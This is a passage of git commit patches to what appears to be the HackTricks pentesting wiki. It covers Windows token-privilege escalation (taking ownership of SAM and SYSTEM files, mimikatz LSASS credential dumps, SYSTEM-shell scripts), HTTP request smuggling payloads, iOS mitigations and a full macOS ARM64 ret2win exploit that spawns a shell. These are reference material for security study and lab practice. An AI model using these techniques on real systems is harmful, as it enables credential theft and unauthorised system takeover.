the Local Administrator account is disabled, or when a policy is in place that removes administrative rights from Local Administrators connecting remotely.\ -You can **abuse this privilege** with: - -- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) -- [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug) -- following **IppSec** in [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec) -- Or as explained in the **escalating privileges with Backup Operators** section of: - - -{{#ref}} -../../active-directory-methodology/privileged-groups-and-token-privileges.md -{{#endref}} - -### SeRestorePrivilege - -Permission for **write access** to any system file, irrespective of the file's Access Control List (ACL), is provided by this privilege. It opens up numerous possibilities for escalation, including the ability to **modify services**, perform DLL Hijacking, and set **debuggers** via Image File Execution Options among various other techniques. - -### SeCreateTokenPrivilege - -SeCreateTokenPrivilege is a powerful permission, especially useful when a user possesses the ability to impersonate tokens, but also in the absence of SeImpersonatePrivilege. This capability hinges on the ability to impersonate a token that represents the same user and whose integrity level does not exceed that of the current process. - -**Key Points:** - -- **Impersonation without SeImpersonatePrivilege:** It's possible to leverage SeCreateTokenPrivilege for EoP by impersonating tokens under specific conditions. -- **Conditions for Token Impersonation:** Successful impersonation requires the target token to belong to the same user and have an integrity level that is less or equal to the integrity level of the process attempting impersonation. -- **Creation and Modification of Impersonation Tokens:** Users can create an impersonation token and enhance it by adding a privileged group's SID (Security Identifier). - -### SeLoadDriverPrivilege - -Thi privilege allows to **load and unload device drivers** with the creation of a registry entry with specific values for `ImagePath` and `Type`. Since direct write access to `HKLM` (HKEY_LOCAL_MACHINE) is restricted, `HKCU` (HKEY_CURRENT_USER) must be utilized instead. However, to make `HKCU` recognizable to the kernel for driver configuration, a specific path must be followed. - -This path is `\Registry\User\\System\CurrentControlSet\Services\DriverName`, where `` is the Relative Identifier of the current user. Inside `HKCU`, this entire path must be created, and two values need to be set: - -- `ImagePath`, which is the path to the binary to be executed -- `Type`, with a value of `SERVICE_KERNEL_DRIVER` (`0x00000001`). - -**Steps to Follow:** - -1. Access `HKCU` instead of `HKLM` due to restricted write access. -2. Create the path `\Registry\User\\System\CurrentControlSet\Services\DriverName` within `HKCU`, where `` represents the current user's Relative Identifier. -3. Set the `ImagePath` to the binary's execution path. -4. Assign the `Type` as `SERVICE_KERNEL_DRIVER` (`0x00000001`). - -```python -# Example Python code to set the registry values -import winreg as reg - -# Define the path and values -path = r'Software\YourPath\System\CurrentControlSet\Services\DriverName' # Adjust 'YourPath' as needed -key = reg.OpenKey(reg.HKEY_CURRENT_USER, path, 0, reg.KEY_WRITE) -reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary") -reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001) -reg.CloseKey(key) -``` - -More ways to abuse this privilege in [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege) - -### SeTakeOwnershipPrivilege - -This is similar to to **SeRestorePrivilege**. Its primary function allows a process to **assume ownership of an object**, circumventing the requirement for explicit discretionary access through the provision of WRITE_OWNER access rights. The process involves first securing ownership of the intended registry key for writing purposes, then altering the DACL to enable write operations. - -```bash -takeown /f 'C:\some\file.txt' #Now the file is owned by you -icacls 'C:\some\file.txt' /grant :F #Now you have full access -# Use this with files that might contain credentials such as -%WINDIR%\repair\sam -%WINDIR%\repair\system -%WINDIR%\repair\software -%WINDIR%\repair\security -%WINDIR%\system32\config\security.sav -%WINDIR%\system32\config\software.sav -%WINDIR%\system32\config\system.sav -%WINDIR%\system32\config\SecEvent.Evt -%WINDIR%\system32\config\default.sav -c:\inetpub\wwwwroot\web.config -``` - -### SeDebugPrivilege - -This privilege permits the **debug other processes**, including to read and write in the memore. Various strategies for memory injection, capable of evading most antivirus and host intrusion prevention solutions, can be employed with this privilege. - -#### Dump memory - -You could use [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) from the [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) or [SharpDump](https://github.com/GhostPack/SharpDump) to **capture the memory of a process**. Specifically, this can apply to the **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))** process, which is responsible for storing user credentials once a user has successfully logged into a system. - -You can then load this dump in mimikatz to obtain passwords: - -``` -mimikatz.exe -mimikatz # log -mimikatz # sekurlsa::minidump lsass.dmp -mimikatz # sekurlsa::logonpasswords -``` - -#### RCE - -If you want to get a `NT SYSTEM` shell you could use: - -- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit) -- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC) -- [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1) - -```bash -# Get the PID of a process running as NT SYSTEM -import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,) -``` - -### SeManageVolumePrivilege - -The `SeManageVolumePrivilege` is a Windows user right that allows users to manage disk volumes, including creating and deleting them. While intended for administrators, if granted to non-admin users, it can be exploited for privilege escalation. - -It's possible to leverage this privilege to manipulate volumes, leading to full volume access. The [SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit) can be used to give full access to all users for C:\ - -Additionally, the process outlined in [this Medium article](https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37) describes using DLL hijacking in conjunction with `SeManageVolumePrivilege` to escalate privileges. -By placing a payload DLL `C:\Windows\System32\wbem\tzres.dll` and calling `systeminfo` the dll is executed. - -## Check privileges - -``` -whoami /priv -``` - -The **tokens that appear as Disabled** can be enable, you you actually can abuse _Enabled_ and _Disabled_ tokens. - -### Enable All the tokens - -If you have tokens disables, you can use the script [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) to enable all the tokens: - -```bash -.\EnableAllTokenPrivs.ps1 -whoami /priv -``` - -Or the **script** embed in this [**post**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/). - -## Table - -Full token privileges cheatsheet at [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files. - -| Privilege | Impact | Tool | Execution path | Remarks | -| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| **`SeAssignPrimaryToken`** | _**Admin**_ | 3rd party tool | _"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"_ | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. | -| **`SeBackup`** | **Threat** | _**Built-in commands**_ | Read sensitve files with `robocopy /b` |

- May be more interesting if you can read %WINDIR%\MEMORY.DMP

- SeBackupPrivilege (and robocopy) is not helpful when it comes to open files.

- Robocopy requires both SeBackup and SeRestore to work with /b parameter.

| -| **`SeCreateToken`** | _**Admin**_ | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. | | -| **`SeDebug`** | _**Admin**_ | **PowerShell** | Duplicate the `lsass.exe` token. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | -| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool |

1. Load buggy kernel driver such as szkg64.sys
2. Exploit the driver vulnerability

Alternatively, the privilege may be used to unload security-related drivers with ftlMC builtin command. i.e.: fltMC sysmondrv

|

1. The szkg64 vulnerability is listed as CVE-2018-15732
2. The szkg64 exploit code was created by Parvez Anwar

| -| **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. Launch PowerShell/ISE with the SeRestore privilege present.
2. Enable the privilege with Enable-SeRestorePrivilege).
3. Rename utilman.exe to utilman.old
4. Rename cmd.exe to utilman.exe
5. Lock the console and press Win+U

|

Attack may be detected by some AV software.

Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege

| -| **`SeTakeOwnership`** | _**Admin**_ | _**Built-in commands**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Rename cmd.exe to utilman.exe
4. Lock the console and press Win+U

|

Attack may be detected by some AV software.

Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege.

| -| **`SeTcb`** | _**Admin**_ | 3rd party tool |

Manipulate tokens to have local admin rights included. May require SeImpersonate.

To be verified.

| | - -## Reference - -- Take a look to this table defining Windows tokens: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin) -- Take a look to [**this paper**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) about privesc with tokens. - -{{#include ../../../banners/hacktricks-training.md}} - - From 718a13c8ec97b9cb7cce0d61e1b9bc5233a6f89d Mon Sep 17 00:00:00 2001 From: Build master Date: Wed, 3 Sep 2025 20:07:08 +0000 Subject: [PATCH 21/40] Update searchindex (purged history; keep current) From 1a2a435a114a07e6fce8a2570e8c0914508d47c3 Mon Sep 17 00:00:00 2001 From: carlospolop Date: Wed, 3 Sep 2025 23:36:06 +0200 Subject: [PATCH 22/40] f --- .../ios-pentesting/README.md | 20 ++++++++++++++++ .../ios-pentesting/ios-basics.md | 24 +++++++++++++++++++ 2 files changed, 44 insertions(+) diff --git a/src/mobile-pentesting/ios-pentesting/README.md b/src/mobile-pentesting/ios-pentesting/README.md index e40b6aa0b..31356e2de 100644 --- a/src/mobile-pentesting/ios-pentesting/README.md +++ b/src/mobile-pentesting/ios-pentesting/README.md @@ -136,6 +136,26 @@ Identification of **protections are present in the binary**: grep -iER "_vsprintf" ``` +#### Common Jailbreak detection methods + +- **File System Checks**: Look for the presence of common jailbreak files and directories, such as `/Applications/Cydia.app` or `/Library/MobileSubstrate/MobileSubstrate.dylib`. +- **Sandbox Violations**: Attempt to access restricted areas of the file system, which should be blocked on non-jailbroken devices. +- **API Checks**: Check if it's possible to use forbidden calls like `fork()` to create a child process or `system()` to see if /bin/sh exists. +- **Process Checks**: Monitor for the presence of known jailbreak-related processes, such as `Cydia`, `Substrate`, or `ssh`. +- **Kernel Exploits**: Check for the presence of kernel exploits that are commonly used in jailbreaks. +- **Environment Variables**: Inspect environment variables for signs of a jailbreak, such as `DYLD_INSERT_LIBRARIES`. +- **Libraries Check**: Check the libs that are loaded into the app process. +- **Check schemes**: Like `canOpenURL(URL(string: "cydia://"))`. + +#### Common Anti-Debugging detection methods + +- **Check for Debugger Presence**: Use `sysctl` or other methods to check if a debugger is attached. +- **Anti-Debugging APIs**: Look for calls to anti-debugging APIs like `ptrace` or `SIGSTOP` like `ptrace(PT_DENY_ATTACH, 0, 0, 0)`. +- **Timing Checks**: Measure the time taken for certain operations and look for discrepancies that may indicate debugging. +- **Memory Checks**: Inspect memory for known debugger artifacts or modifications. +- **Environment Variables**: Check for environment variables that may indicate a debugging session. +- **Mach Ports**: Detect if mach exception ports are being used by debuggers. + ### Basic Dynamic Analysis Check out the dynamic analysis that [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) perform. You will need to navigate through the different views and interact with them but it will be hooking several classes on doing other things and will prepare a report once you are done. diff --git a/src/mobile-pentesting/ios-pentesting/ios-basics.md b/src/mobile-pentesting/ios-pentesting/ios-basics.md index 7f43410d3..fb565e392 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-basics.md +++ b/src/mobile-pentesting/ios-pentesting/ios-basics.md @@ -2,6 +2,30 @@ {{#include ../../banners/hacktricks-training.md}} +## Filesystem Folders + +- `/Applications`: Contains all the installed native applications on the device (e.g. `/Applications/Calculator.app`) +- `/var/containers/Bundle/application/[uuid]`: Contains the application bundles for installed apps. +- `/var/mobile/Containers/Data/Application/[uuid]`: Contains the data for the installed applications. +- `/System`: Contains the core system files and libraries. +- `/Library`: Contains system-wide resources and settings. +- `/User`: Contains user-specific data and settings. +- `/Development`: Empty unless you press the "Use for development" button +- `/dev`: Contains device files. +- `/Core`: Contains OS core dumps. +- `/private/var/mobile/Library/Logs/CrashReporter/*`: Contains crash logs for the specified application. +- Many other common unix folders... + +### SQLite DBs + +SQLite DBs are widely used in iOS and Android applications for local data storage. They provide a lightweight, serverless database solution that is easy to integrate and use within mobile apps. + +A SQLite DB usually generates 3 files: +- `.db`: The main database file. +- `.db-shm`: The journal file which stores data before a transaction change (for DB restoration if needed). +- `.db-wal`: The write-ahead log file which stores the new data until it's ready to commit to the DB for faster processing. + + ## Privilege Separation and Sandbox In iOS, a distinction in privilege exists between the user-accessible applications and the system's core processes. Applications run under the **`mobile`** user identity, while the crucial system processes operate as **`root`**. This separation is enhanced by a sandbox mechanism, which imposes strict limitations on what actions applications can undertake. For instance, even if applications share the same user identity, they are prohibited from accessing or modifying each other's data. From dd667319c24bb032d2a408d3318a495bc88cc801 Mon Sep 17 00:00:00 2001 From: Build master Date: Wed, 3 Sep 2025 21:44:11 +0000 Subject: [PATCH 23/40] Update searchindex (purged history; keep current) From 080ec9db0e02c149fefd56617f9317144dbe4d9d Mon Sep 17 00:00:00 2001 From: Build master Date: Thu, 4 Sep 2025 09:18:28 +0000 Subject: [PATCH 24/40] Update searchindex (purged history; keep current) From 232a44bb444a8269d1ec46b7c48cb9349eb5266d Mon Sep 17 00:00:00 2001 From: carlospolop Date: Fri, 5 Sep 2025 12:50:07 +0200 Subject: [PATCH 25/40] f --- src/binary-exploitation/ios-exploiting.md | 14 +++++ .../pentesting-web/special-http-headers.md | 18 +++++++ .../http-request-smuggling/README.md | 54 +++++++++++++++++++ theme/sponsor.js | 3 +- 4 files changed, 88 insertions(+), 1 deletion(-) diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md index 953950986..64bd37c73 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting.md @@ -2,6 +2,20 @@ {{#include ../banners/hacktricks-training.md}} +## iOS Exploit Mitigations + +- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code. + - **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks. +- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming). +- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts. +- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernel’s base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control. +- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernel’s code pages to ensure they haven’t been modified. If any tampering is detected—such as an exploit trying to patch kernel functions or insert malicious code—the device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers can’t simply hook or patch kernel instructions without triggering a system crash. +- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPU’s memory controller to mark the kernel’s code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackers—and even privileged code—from patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly. +- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably. +- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques. +- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder. + + ## Physical use-after-free This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index bd825fee0..478c912be 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -54,6 +54,24 @@ A hop-by-hop header is a header which is designed to be processed and consumed b ../../pentesting-web/http-request-smuggling/ {{#endref}} +## The Expect header + +It's posible for the client to send the header `Expect: 100-continue` and then the server could respond with `HTTP/1.1 100 Continue` to allow the client to continue sending the body of the request. However, some proxies don't really llike this header. + +Interesting results of `Expect: 100-continue`: +- Sending a HEAD request with a body the server didn't took into account that HEAD requests don't have body and keep the connection open until it timed out. +- Another servers sent extrange data: Random data read from the socket in the response, secret keys or even it allowed to prevent the front-end from removing header values. +- It also caused a `0.CL` desync cause the backend responded with a 400 response isntead of a 100 response, but the proxy front-end was prepared to send the body of the initial request, so it sends it and the backend takes it as new request. +- Sending an `Expect: y 100-continue` variation also caused the `0.CL` desync. +- A similar error where the backend responded with a 404 generated a `CL.0` desync because the malicious request indicates a `Content-Length` so the backend sends the malicious request + the `Content-Length` bytes of the next request (of a victim), this desyncs the queue cause the backend sends the 404 request for the malicious request + the repsonse of the victim requests, but the front end thought that only 1 request was sent, so the second response is sent to a seond victim request and the the reponse of taht one is sent to the next one... + +For more info about HTTP Request Smuggling check: + +{{#ref}} +../../pentesting-web/http-request-smuggling/ +{{#endref}} + + ## Cache Headers **Server Cache Headers**: diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md index 3d0a22d54..72319c3af 100644 --- a/src/pentesting-web/http-request-smuggling/README.md +++ b/src/pentesting-web/http-request-smuggling/README.md @@ -36,6 +36,23 @@ Remember that in HTTP **a new line character is composed by 2 bytes:** - **Transfer-Encoding:** This header uses in the **body** an **hexadecimal number** to indicate the **number** of **bytes** of the **next chunk**. The **chunk** must **end** with a **new line** but this new line **isn't counted** by the length indicator. This transfer method must end with a **chunk of size 0 followed by 2 new lines**: `0` - **Connection**: Based on my experience it's recommended to use **`Connection: keep-alive`** on the first request of the request Smuggling. +### Visible - Hidden + +The main proble with http/1.1 is that all the requests go in the same TCP socket, so if a discrpancy is found between 2 systems receiving requests it's possible to send one request that will be reated as 2 different requests (or more) by the final backend (or even intermediary systems). + +**[This blog post](https://portswigger.net/research/http1-must-die)** proposes new ways to detect desync attacks to a system that won't be flagged by WAFs. For this it presents the Visible vs Hidden behaviours. The goal in this case is to try to find discrepancies in the repsonse using techniques that could be causing desyncs withuot actually exploiting anything. + +For example, sending a request with the normal host header and a " host" header, if the backend complains about this request (maybe becasue the value of " host" is incorrect) it possible means that the front-end didn't see about the " host" header while the final backend did use it, higly probale implaying a desync between front-end and backend. + +This would be a **Hidden-Visible discrepancy**. + +If the front-end would have taken into account the " host" header but the front-end didn't, this could have been a **Visible-Hidden** situation. + +For example, this allowed to discover desyncs between AWS ALB as front-end and IIS as the backend. This was because when the "Host: foo/bar" was sent, the ALB returned `400, Server; awselb/2.0`, but when "Host : foo/bar" was sent, it returned `400, Server: Microsoft-HTTPAPI/2.0`, indicating the backend was sending the response. This is a Hidden-Vissible (H-V) situation. + +Note that this situation is not corrected in the AWS, but it can be prevented setting `routing.http.drop_invalid_header_fields.enabled` and `routing.http.desync_mitigation_mode = strictest`. + + ## Basic Examples > [!TIP] @@ -184,6 +201,34 @@ EMPTY_LINE_HERE EMPTY_LINE_HERE ``` +#### `0.CL` Scenario + +In a `0.CL` sitation a request is send with a Content-Length like: + +``` +GET /Logon HTTP/1.1 +Host: +Content-Length: + 7 + +GET /404 HTTP/1.1 +X: Y +``` + +And the front-end doesn't take the `Content-Length` into account so it only sends the first request to the backend (until the 7 in the example). However, the backend sees the `Content-Length` and waits for a body that never arrives cause the front-end is already waiting for the response. + +However, if there is a request that it's possible to send to the backend that is responded before receiving the body of the request, this deadlock won't occure. In IIS for example this happen sending requests to forbidden words like `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), this way, the initial request will be responded directly and the second requets will contain the request of the victim like: + +``` +GET / HTTP/1.1 +X: yGET /victim HTTP/1.1 +Host: +``` + +This is useful to cause a desync, but it won't have any impact until now. + +However, the post offers a solution for this by converting a **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**. + #### Breaking the web server This technique is also useful in scenarios where it's possible to **break a web server while reading the initial HTTP data** but **without closing the connection**. This way, the **body** of the HTTP request will be considered the **next HTTP request**. @@ -269,6 +314,14 @@ Identifying HTTP request smuggling vulnerabilities can often be achieved using t - **Transfer-Encoding Variance Tests:** - Send requests with obfuscated or malformed `Transfer-Encoding` headers and monitor how differently the front-end and back-end servers respond to such manipulations. +### The `Expect: 100-continue` header + +Check how this header can help exploiting a http desync in: + +{{#ref}} +../special-http-headers.md +{{#endref}} + ### HTTP Request Smuggling Vulnerability Testing After confirming the effectiveness of timing techniques, it's crucial to verify if client requests can be manipulated. A straightforward method is to attempt poisoning your requests, for instance, making a request to `/` yield a 404 response. The `CL.TE` and `TE.CL` examples previously discussed in [Basic Examples](#basic-examples) demonstrate how to poison a client's request to elicit a 404 response, despite the client aiming to access a different resource. @@ -878,6 +931,7 @@ def handleResponse(req, interesting): - [https://http1mustdie.com/](https://http1mustdie.com/) - Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks) - PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync) +- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die) {{#include ../../banners/hacktricks-training.md}} diff --git a/theme/sponsor.js b/theme/sponsor.js index 5b3f66804..dd647eaf6 100644 --- a/theme/sponsor.js +++ b/theme/sponsor.js @@ -15,7 +15,8 @@ var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta") async function getSponsor() { - const url = "https://book.hacktricks.wiki/sponsor" + const currentUrl = encodeURIComponent(window.location.href); + const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`; try { const response = await fetch(url, { method: "GET" }) if (!response.ok) { From 5452214bb19cf08fe47cd776ea54278c5818cef1 Mon Sep 17 00:00:00 2001 From: carlospolop Date: Fri, 5 Sep 2025 13:01:05 +0200 Subject: [PATCH 26/40] f --- src/pentesting-web/http-request-smuggling/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md index 72319c3af..015ddc3df 100644 --- a/src/pentesting-web/http-request-smuggling/README.md +++ b/src/pentesting-web/http-request-smuggling/README.md @@ -319,7 +319,7 @@ Identifying HTTP request smuggling vulnerabilities can often be achieved using t Check how this header can help exploiting a http desync in: {{#ref}} -../special-http-headers.md +../../network-services-pentesting/pentesting-web/special-http-headers.md {{#endref}} ### HTTP Request Smuggling Vulnerability Testing From 45e261fbbe03b8399634109004549024011d60f2 Mon Sep 17 00:00:00 2001 From: Build master Date: Fri, 5 Sep 2025 14:42:59 +0000 Subject: [PATCH 27/40] Update searchindex (purged history; keep current) From 934360921914c41d33f0635199eee451bcd97001 Mon Sep 17 00:00:00 2001 From: carlospolop Date: Fri, 5 Sep 2025 20:47:46 +0200 Subject: [PATCH 28/40] new macos exploiting examples --- .../stack-overflow/ret2win/ret2win-arm64.md | 288 +++++++++++++++++- .../stack-shellcode/stack-shellcode-arm64.md | 22 +- 2 files changed, 301 insertions(+), 9 deletions(-) diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md index 1c8938c5e..c9b01e2c6 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md +++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -201,7 +201,286 @@ print(p.recvline()) p.close() ``` -### Notes on modern AArch64 hardening (PAC/BTI) and ret2win +## macOS + +### Code + +```c +#include +#include +#include + +__attribute__((noinline)) +void win(void) { + system("/bin/sh"); // <- **our target** +} + +void vulnerable_function(void) { + char buffer[64]; + // **BOF**: reading 256 bytes into a 64B stack buffer + read(STDIN_FILENO, buffer, 256); +} + +int main(void) { + printf("win() is at %p\n", win); + vulnerable_function(); + return 0; +} +``` + +Compile without canary (in macOS you can't disable PIE): + +```bash +clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security +``` + +Execute without ASLR (although as we have an address leak, we don't need it): + +```bash +env DYLD_DISABLE_ASLR=1 ./bof_macos +``` + +> [!TIP] +> It's not possible to disable NX in macOS because in arm64 this mode is implemented at hardware level so you can't disable it, so you won't be finding examples with shellcode in stack in macOS. + +### Find the offset + +- Generate a pattern: + +```bash +python3 - << 'PY' +from pwn import * +print(cyclic(200).decode()) +PY +``` + +- Run the program and input the pattern to cause a crash: + +```bash +lldb ./bof_macos +(lldb) env DYLD_DISABLE_ASLR=1 +(lldb) run +# paste the 200-byte cyclic string, press Enter +``` + +- Check register `x30` (the return address) to find the offset: + +```bash +(lldb) register read x30 +``` + +- Use `cyclic -l ` to find the exact offset: + +```bash +python3 - << 'PY' +from pwn import * +print(cyclic_find(0x61616173)) +PY + +# Replace 0x61616173 with the 4 first bytes from the value of x30 +``` + +- Thats how I found the offset `72`, putting in that offset the address of `win()` function you can execute that function and get a shell (running without ASLR). + +### Exploit + +```python +#!/usr/bin/env python3 +from pwn import * +import re + +# Load the binary +binary_name = './bof_macos' + +# Start the process +p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"}) + +# Read the address printed by the program +output = p.recvline().decode() +print(f"Received: {output.strip()}") + +# Extract the win() address using regex +match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output) +if not match: + print("Failed to extract win() address") + p.close() + exit(1) + +win_address = int(match.group(1), 16) +print(f"Extracted win() address: {hex(win_address)}") + +# Offset calculation: +# Buffer starts at sp, return address at sp+0x40 (64 bytes) +# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes) +offset = 64 + 8 # 72 bytes total to reach the return address + +# Craft the payload - ARM64 addresses are 8 bytes +payload = b'A' * offset + p64(win_address) +print(f"Payload length: {len(payload)}") + +# Send the payload +p.send(payload) + +# Drop to an interactive session +p.interactive() +``` + +## macOS - 2nd example + +```c +#include +#include +#include +#include + +__attribute__((noinline)) +void leak_anchor(void) { + puts("leak_anchor reached"); +} + +__attribute__((noinline)) +void win(void) { + puts("Killed it!"); + system("/bin/sh"); + exit(0); +} + +__attribute__((noinline)) +void vuln(void) { + char buf[64]; + FILE *f = fopen("/tmp/exploit.txt", "rb"); + if (!f) { + puts("[*] Please create /tmp/exploit.txt with your payload"); + return; + } + // Vulnerability: no bounds check → stack overflow + fread(buf, 1, 512, f); + fclose(f); + printf("[*] Copied payload from /tmp/exploit.txt\n"); +} + +int main(void) { + // Unbuffered stdout so leaks are immediate + setvbuf(stdout, NULL, _IONBF, 0); + + // Leak a different function, not main/win + printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor); + + // Sleep 3s + sleep(3); + + vuln(); + return 0; +} +``` + +Compile without canary (in macOS you can't disable PIE): + +```bash +clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security +``` + +### Find the offset + +- Generate a pattern into the file `/tmp/exploit.txt`: + +```bash +python3 - << 'PY' +from pwn import * +with open("/tmp/exploit.txt", "wb") as f: + f.write(cyclic(200)) +PY +``` + +- Run the program to cause a crash: + +```bash +lldb ./bof_macos +(lldb) run +``` + +- Check register `x30` (the return address) to find the offset: + +```bash +(lldb) register read x30 +``` + +- Use `cyclic -l ` to find the exact offset: + +```bash 